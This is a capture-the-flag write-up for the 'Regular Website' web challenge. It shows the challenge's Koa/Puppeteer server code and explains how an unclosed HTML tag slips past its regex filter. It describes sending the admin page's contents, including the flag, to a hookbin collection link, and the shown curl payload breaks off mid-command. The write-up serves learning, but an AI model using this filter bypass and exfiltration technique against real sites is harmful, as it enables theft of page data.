Rating:

# Regular Website | Web

### Solution

From ctf we have got url to website, *package.json* and *server.ts*

##### server.ts
```ts
import Router from '@koa/router';
import Koa from 'koa';
import koaStatic from 'koa-static';
import bodyParser from 'koa-bodyparser';
import { launch } from 'puppeteer';
import { readFileSync } from 'fs';

const flag = readFileSync("flag.txt", "utf8");
const verbs = readFileSync("verbs.txt", "utf8").split("\n").map(s => s.trim()).filter(s => {
return s.length > 0 && !s.startsWith("#");
});

const app = new Koa();
const browser = launch({args: ["--incognito", "--no-sandbox"]});

const router = new Router();
router.post("/", async ctx => {
if (typeof ctx.request.body !== "object") {
ctx.throw(400, "body must be an object");
return;
}
const text = ctx.request.body.text;
if (typeof text !== "string") {
ctx.throw(400, "text must be a string");
return;
}

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
const page = await (await browser).newPage();
await page.setJavaScriptEnabled(true);
try {
await page.setContent(`

<html>
<head>
<meta charset="utf-8">
<title>Comment</title>
</head>
<body>

Welcome to the Regular Website admin panel.


<h2>Site Stats</h2>

Comments: ???


Flag: ${flag}


<h2>Latest Comment</h2>
${sanitized}
</body>
</html>
`, {timeout: 3000, waitUntil: "networkidle2"});
} catch (e) {
console.error(e);
ctx.status = 500;
ctx.body = "error viewing comment";
await page.close();
return;
}
ctx.body = `The author of this site has ${verbs[Math.floor(Math.random() * verbs.length)]} your comment.`;
await page.close();
});

app.use(bodyParser());
app.use(router.routes());
app.use(koaStatic("../public"));
app.listen(1337);
console.log("Listening on port 1337");
```

##### package.json
```json
{
"main": "dist/server.js",
"scripts": {
"build": "tsc",
"build:watch": "tsc -w",
"start": "node dist/server.js"
},
"dependencies": {
"@koa/router": "^10.0.0",
"koa": "^2.13.1",
"koa-bodyparser": "^4.3.0",
"koa-static": "^5.0.0",
"puppeteer": "^10.0.0"
},
"devDependencies": {
"@types/koa": "^2.13.3",
"@types/koa-bodyparser": "^4.3.1",
"@types/koa-static": "^4.0.1",
"@types/koa__router": "^8.0.4",
"@types/node": "^15.12.2",
"typescript": "^4.3.2"
}
}
```

To get the flag we need to read the content of a website that admin view when we leave a comment.

From the source code we know that website doesn't have any sanitizer for user input, except for one - regex.

This regex block every input that have html tag pattern (< *any text here* >). Because html is not programming language and don't have any error handler we can simply don't close the tag - html will do it for us

I used [this website](https://hookbin.com) to create a link with parameter that will include all content of the visited website. After that I created request with curl that as a comment send fake image with payload inside (ofc image src refer to created link):
```bash
$ curl "webp.bcactf.com:49155" -X POST -H 'Content-Type:application/json' --data-raw '{"text": "

Original writeup (https://github.com/HuntClauss/Writeups/blob/main/bcactf/regular-website.md).